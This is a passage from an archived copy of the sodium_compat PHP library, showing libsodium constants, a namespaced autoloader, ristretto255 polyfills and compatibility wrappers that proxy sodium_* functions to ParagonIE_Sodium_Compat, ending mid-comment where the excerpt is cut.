const SODIUM_CRYPTO_KX_KEYPAIRBYTES = 64;
const SODIUM_CRYPTO_KX_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_KX_SECRETKEYBYTES = 32;
const SODIUM_CRYPTO_KX_SESSIONKEYBYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_BYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_BYTES_MIN = 16;
const SODIUM_CRYPTO_GENERICHASH_BYTES_MAX = 64;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
const SODIUM_CRYPTO_PWHASH_SALTBYTES = 16;
const SODIUM_CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
const SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
const SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;
const SODIUM_CRYPTO_SCALARMULT_BYTES = 32;
const SODIUM_CRYPTO_SCALARMULT_SCALARBYTES = 32;
const SODIUM_CRYPTO_SHORTHASH_BYTES = 8;
const SODIUM_CRYPTO_SHORTHASH_KEYBYTES = 16;
const SODIUM_CRYPTO_SECRETBOX_KEYBYTES = 32;
const SODIUM_CRYPTO_SECRETBOX_MACBYTES = 16;
const SODIUM_CRYPTO_SECRETBOX_NONCEBYTES = 24;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80;
const SODIUM_CRYPTO_SIGN_BYTES = 64;
const SODIUM_CRYPTO_SIGN_SEEDBYTES = 32;
const SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_SIGN_SECRETKEYBYTES = 64;
const SODIUM_CRYPTO_SIGN_KEYPAIRBYTES = 96;
const SODIUM_CRYPTO_STREAM_KEYBYTES = 32;
const SODIUM_CRYPTO_STREAM_NONCEBYTES = 24;
const SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32;
const SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24;
namespaced.php000064400000002501151024232700007347 0ustar00<?php

require_once dirname(dirname(__FILE__)) . '/autoload.php';

if (PHP_VERSION_ID < 50300) {
    return;
}

/*
 * This file is just for convenience, to allow developers to reduce verbosity when
 * they add this project to their libraries.
 *
 * Replace this:
 *
 * $x = ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_encrypt(...$args);
 *
 * with this:
 *
 * use ParagonIE\Sodium\Compat;
 *
 * $x = Compat::crypto_aead_xchacha20poly1305_encrypt(...$args);
 */
spl_autoload_register(function ($class) {
    if ($class[0] === '\\') {
        $class = substr($class, 1);
    }
    $namespace = 'ParagonIE\\Sodium';
    // Does the class use the namespace prefix?
    $len = strlen($namespace);
    if (strncmp($namespace, $class, $len) !== 0) {
        // no, move to the next registered autoloader
        return false;
    }

    // Get the relative class name
    $relative_class = substr($class, $len);

    // Replace the namespace prefix with the base directory, replace namespace
    // separators with directory separators in the relative class name, append
    // with .php
    $file = dirname(dirname(__FILE__)) . '/namespaced/' . str_replace('\\', '/', $relative_class) . '.php';
    // if the file exists, require it
    if (file_exists($file)) {
        require_once $file;
        return true;
    }
    return false;
});
php84compat_const.php000064400000000621151024232700010625 0ustar00<?php
const SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES = 16;
const SODIUM_CRYPTO_AEAD_AEGIS128L_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_AEGIS128L_NPUBBYTES = 32;
const SODIUM_CRYPTO_AEAD_AEGIS128L_ABYTES = 32;

const SODIUM_CRYPTO_AEAD_AEGIS256_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_AEGIS256_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_AEGIS256_NPUBBYTES = 32;
const SODIUM_CRYPTO_AEAD_AEGIS256_ABYTES = 32;
ristretto255.php000064400000017451151024232700007554 0ustar00<?php

if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES')) {
    define(
        'SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES',
        ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_BYTES
    );
    define('SODIUM_COMPAT_POLYFILLED_RISTRETTO255', true);
}
if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES')) {
    define(
        'SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES',
        ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_HASHBYTES
    );
}
if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES')) {
    define(
        'SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES',
        ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_SCALARBYTES
    );
}
if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES')) {
    define(
        'SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES',
        ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES
    );
}
if (!defined('SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES')) {
    define(
        'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES',
        ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES
    );
}
if (!defined('SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES')) {
    define(
        'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES',
        ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_RISTRETTO255_BYTES
    );
}

if (!is_callable('sodium_crypto_core_ristretto255_add')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_add()
     *
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_add(
        #[\SensitiveParameter]
        $p,
        #[\SensitiveParameter]
        $q
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_add($p, $q, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_from_hash')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_from_hash()
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_from_hash(
        #[\SensitiveParameter]
        $s
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_from_hash($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_is_valid_point')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_is_valid_point()
     *
     * @param string $s
     * @return bool
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_is_valid_point(
        #[\SensitiveParameter]
        $s
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_is_valid_point($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_random')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_random()
     *
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_random()
    {
        return ParagonIE_Sodium_Compat::ristretto255_random(true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_add')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_add()
     *
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_add(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_add($x, $y, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_complement')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_complement()
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_complement(
        #[\SensitiveParameter]
        $s
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_complement($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_invert')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_invert()
     *
     * @param string $p
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_invert(
        #[\SensitiveParameter]
        $p
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_invert($p, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_mul')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_mul()
     *
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_mul(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_mul($x, $y, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_negate')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_negate()
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_negate(
        #[\SensitiveParameter]
        $s
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_negate($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_random')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_random()
     *
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_random()
    {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_random(true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_reduce')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_reduce()
     *
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_reduce(
        #[\SensitiveParameter]
        $s
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_reduce($s, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_scalar_sub')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_scalar_sub()
     *
     * @param string $x
     * @param string $y
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_scalar_sub(
        #[\SensitiveParameter]
        $x,
        #[\SensitiveParameter]
        $y
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_scalar_sub($x, $y, true);
    }
}
if (!is_callable('sodium_crypto_core_ristretto255_sub')) {
    /**
     * @see ParagonIE_Sodium_Compat::ristretto255_sub()
     *
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_core_ristretto255_sub(
        #[\SensitiveParameter]
        $p,
        #[\SensitiveParameter]
        $q
    ) {
        return ParagonIE_Sodium_Compat::ristretto255_sub($p, $q, true);
    }
}
if (!is_callable('sodium_crypto_scalarmult_ristretto255')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_ristretto255()
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult_ristretto255(
        #[\SensitiveParameter]
        $n,
        #[\SensitiveParameter]
        $p
    ) {
        return ParagonIE_Sodium_Compat::scalarmult_ristretto255($n, $p, true);
    }
}
if (!is_callable('sodium_crypto_scalarmult_ristretto255_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_ristretto255_base()
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult_ristretto255_base(
        #[\SensitiveParameter]
        $n
    ) {
        return ParagonIE_Sodium_Compat::scalarmult_ristretto255_base($n, true);
    }
}php72compat.php000064400000134363151024232700007427 0ustar00<?php

require_once dirname(dirname(__FILE__)) . '/autoload.php';

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions and constants, but only if they do not already exist.
 *
 * Thus, the functions or constants just proxy to the appropriate
 * ParagonIE_Sodium_Compat method or class constant, respectively.
 */
foreach (array(
    'BASE64_VARIANT_ORIGINAL',
    'BASE64_VARIANT_ORIGINAL_NO_PADDING',
    'BASE64_VARIANT_URLSAFE',
    'BASE64_VARIANT_URLSAFE_NO_PADDING',
    'CRYPTO_AEAD_AES256GCM_KEYBYTES',
    'CRYPTO_AEAD_AES256GCM_NSECBYTES',
    'CRYPTO_AEAD_AES256GCM_NPUBBYTES',
    'CRYPTO_AEAD_AES256GCM_ABYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_ABYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES',
    'CRYPTO_AUTH_BYTES',
    'CRYPTO_AUTH_KEYBYTES',
    'CRYPTO_BOX_SEALBYTES',
    'CRYPTO_BOX_SECRETKEYBYTES',
    'CRYPTO_BOX_PUBLICKEYBYTES',
    'CRYPTO_BOX_KEYPAIRBYTES',
    'CRYPTO_BOX_MACBYTES',
    'CRYPTO_BOX_NONCEBYTES',
    'CRYPTO_BOX_SEEDBYTES',
    'CRYPTO_KDF_BYTES_MIN',
    'CRYPTO_KDF_BYTES_MAX',
    'CRYPTO_KDF_CONTEXTBYTES',
    'CRYPTO_KDF_KEYBYTES',
    'CRYPTO_KX_BYTES',
    'CRYPTO_KX_KEYPAIRBYTES',
    'CRYPTO_KX_PRIMITIVE',
    'CRYPTO_KX_SEEDBYTES',
    'CRYPTO_KX_PUBLICKEYBYTES',
    'CRYPTO_KX_SECRETKEYBYTES',
    'CRYPTO_KX_SESSIONKEYBYTES',
    'CRYPTO_GENERICHASH_BYTES',
    'CRYPTO_GENERICHASH_BYTES_MIN',
    'CRYPTO_GENERICHASH_BYTES_MAX',
    'CRYPTO_GENERICHASH_KEYBYTES',
    'CRYPTO_GENERICHASH_KEYBYTES_MIN',
    'CRYPTO_GENERICHASH_KEYBYTES_MAX',
    'CRYPTO_PWHASH_SALTBYTES',
    'CRYPTO_PWHASH_STRPREFIX',
    'CRYPTO_PWHASH_ALG_ARGON2I13',
    'CRYPTO_PWHASH_ALG_ARGON2ID13',
    'CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_MEMLIMIT_MODERATE',
    'CRYPTO_PWHASH_OPSLIMIT_MODERATE',
    'CRYPTO_PWHASH_MEMLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_OPSLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE',
    'CRYPTO_SCALARMULT_BYTES',
    'CRYPTO_SCALARMULT_SCALARBYTES',
    'CRYPTO_SHORTHASH_BYTES',
    'CRYPTO_SHORTHASH_KEYBYTES',
    'CRYPTO_SECRETBOX_KEYBYTES',
    'CRYPTO_SECRETBOX_MACBYTES',
    'CRYPTO_SECRETBOX_NONCEBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX',
    'CRYPTO_SIGN_BYTES',
    'CRYPTO_SIGN_SEEDBYTES',
    'CRYPTO_SIGN_PUBLICKEYBYTES',
    'CRYPTO_SIGN_SECRETKEYBYTES',
    'CRYPTO_SIGN_KEYPAIRBYTES',
    'CRYPTO_STREAM_KEYBYTES',
    'CRYPTO_STREAM_NONCEBYTES',
    'CRYPTO_STREAM_XCHACHA20_KEYBYTES',
    'CRYPTO_STREAM_XCHACHA20_NONCEBYTES',
    'LIBRARY_MAJOR_VERSION',
    'LIBRARY_MINOR_VERSION',
    'LIBRARY_VERSION_MAJOR',
    'LIBRARY_VERSION_MINOR',
    'VERSION_STRING'
    ) as $constant
) {
    if (!defined("SODIUM_$constant") && defined("ParagonIE_Sodium_Compat::$constant")) {
        define("SODIUM_$constant", constant("ParagonIE_Sodium_Compat::$constant"));
    }
}
if (!is_callable('sodium_add')) {
    /**
     * @see ParagonIE_Sodium_Compat::add()
     * @param string $string1
     * @param string $string2
     * @return void
     * @throws SodiumException
     */
    function sodium_add(
        #[\SensitiveParameter]
        &$string1,
        #[\SensitiveParameter]
        $string2
    ) {
        ParagonIE_Sodium_Compat::add($string1, $string2);
    }
}
if (!is_callable('sodium_base642bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2base64()
     * @param string $string
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_base642bin(
        #[\SensitiveParameter]
        $string,
        $variant,
        $ignore =''
    ) {
        return ParagonIE_Sodium_Compat::base642bin($string, $variant, $ignore);
    }
}
if (!is_callable('sodium_bin2base64')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2base64()
     * @param string $string
     * @param int $variant
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_bin2base64(
        #[\SensitiveParameter]
        $string,
        $variant
    ) {
        return ParagonIE_Sodium_Compat::bin2base64($string, $variant);
    }
}
if (!is_callable('sodium_bin2hex')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_bin2hex(
        #[\SensitiveParameter]
        $string
    ) {
        return ParagonIE_Sodium_Compat::bin2hex($string);
    }
}
if (!is_callable('sodium_compare')) {
    /**
     * @see ParagonIE_Sodium_Compat::compare()
     * @param string $string1
     * @param string $string2
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_compare(
        #[\SensitiveParameter]
        $string1,
        #[\SensitiveParameter]
        $string2
    ) {
        return ParagonIE_Sodium_Compat::compare($string1, $string2);
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
     * @param string $ciphertext
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_aes256gcm_decrypt(
        $ciphertext,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt(
                $ciphertext,
                $additional_data,
                $nonce,
                $key
            );
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            if (($ex instanceof SodiumException) && ($ex->getMessage() === 'AES-256-GCM is not available')) {
                throw $ex;
            }
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_aes256gcm_encrypt(
        #[\SensitiveParameter]
        $message,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available()
     * @return bool
     */
    function sodium_crypto_aead_aes256gcm_is_available()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available();
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
     * @param string $ciphertext
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_chacha20poly1305_decrypt(
        $ciphertext,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $additional_data,
                $nonce,
                $key
            );
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_chacha20poly1305_encrypt(
        #[\SensitiveParameter]
        $message,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt(
            $message,
            $additional_data,
            $nonce,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_chacha20poly1305_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen();
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
        $message,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt(
                $message,
                $additional_data,
                $nonce,
                $key
            );
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $message,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt(
            $message,
            $additional_data,
            $nonce,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen();
    }
}
if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt()
     * @param string $ciphertext
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
        $ciphertext,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $additional_data,
                $nonce,
                $key,
                true
            );
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $message,
        $additional_data,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt(
            $message,
            $additional_data,
            $nonce,
            $key,
            true
        );
    }
}
if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen();
    }
}
if (!is_callable('sodium_crypto_auth')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth()
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_auth(
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_auth($message, $key);
    }
}
if (!is_callable('sodium_crypto_auth_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_auth_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_auth_keygen();
    }
}
if (!is_callable('sodium_crypto_auth_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_verify()
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_auth_verify(
        $mac,
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key);
    }
}
if (!is_callable('sodium_crypto_box')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box()
     * @param string $message
     * @param string $nonce
     * @param string $key_pair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key_pair
    ) {
        return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $key_pair);
    }
}
if (!is_callable('sodium_crypto_box_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair()
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair();
    }
}
if (!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey')) {
    /**
